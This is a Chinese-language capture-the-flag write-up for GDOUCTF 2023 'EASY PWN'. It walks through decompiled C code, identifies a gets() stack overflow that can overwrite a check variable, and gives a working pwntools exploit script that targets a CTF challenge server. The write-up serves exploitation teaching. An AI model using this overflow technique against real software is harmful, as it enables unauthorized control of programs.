[GDOUCTF 2023]EASY PWN


知识点:

  1. /dev/urandom 是类 Unix 系统(如 Linux、FreeBSD 等)中一个特殊的设备文件,用于提供加密安全的随机数
  2. 在 x86 架构中:
  • 1 字节(Byte)= 8 位(bit)
  • 1 字(Word)= 2 字节 = 16 位
  • 1 双字(Double Word)= 4 字节 = 32 位
    _DWORD 中的 “D” 代表 “Double Word”(双字),表示 32 位无符号整数类型,取值范围为 0 ~ 42949672950x00000000 ~ 0xFFFFFFFF

准备


64 位,开了 PIE 保护

分析

main函数

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(_bss_start, 0LL);
puts("If I gaslight you enough, you won't be able to guess my password! :)");
check();
return 0;
}

有一个 check 函数

check函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int check()
{
int result; // eax
char buf[10]; // [rsp+7h] [rbp-29h] BYREF
char s1[15]; // [rsp+11h] [rbp-1Fh] BYREF
ssize_t v3; // [rsp+20h] [rbp-10h]
int fd; // [rsp+28h] [rbp-8h]
int v5; // [rsp+2Ch] [rbp-4h]

v5 = 0;
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
puts("Can't access /dev/urandom.");
exit(1);
}
v3 = read(fd, buf, 0xAuLL);
if ( v3 < 0 )
{
puts("Data not received from /dev/urandom");
exit(1);
}
close(fd);
puts("Password:");
gets(s1);
result = strcmp(s1, buf);
if ( result )
result = puts("I swore that was the right password ...");
else
v5 = 1;
if ( v5 )
{
puts("Guess I couldn't gaslight you!");
return print_flag();
}
return result;
}

/dev/urandom 读取 10 个随机数到 buf 数组中
v3 来存储实际读取的字节数
下面一个输入到 s1 中,有 gets 函数,存在缓冲区溢出
比较随机生成的和用户输入的是否一致,相同时会把 v5 赋值为 1
v5 为 1 时,会有一个 print_flag 函数

1
2
3
4
5
6
7
8
9
10
11
12
int print_flag()
{
char s[264]; // [rsp+0h] [rbp-110h] BYREF
FILE *stream; // [rsp+108h] [rbp-8h]

stream = fopen("flag.txt", "r");
if ( !stream )
return puts("Cannot read flag.txt.");
fgets(s, 256, stream);
s[strcspn(s, "\n")] = 0;
return puts(s);
}

输出 flag

思路:

这题原本想着去篡改 buf 使结果固定,但并没有这么复杂
ida 中查看栈情况就能知道

这里输入点是 s1 没法直接改 buf ,但能改 v5 ,把 v5 的数值直接改成 1,就能获得 flag
输入点 s1v5 的距离是 0x1F-4=0x1B
又因为 v5 参数的类型是 _DWORD (4 字节) ,所以用 32 去修改

1
2
payload=b'a'*0x1B+p32(1)
io.sendline(payload)

脚本

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
io=remote('node5.anna.nssctf.cn',21693)
# io=process('/home/motaly/easy')
elf=ELF('/home/motaly/easy')

payload=b'a'*0x1B+p32(1)
io.sendline(payload)

io.interactive()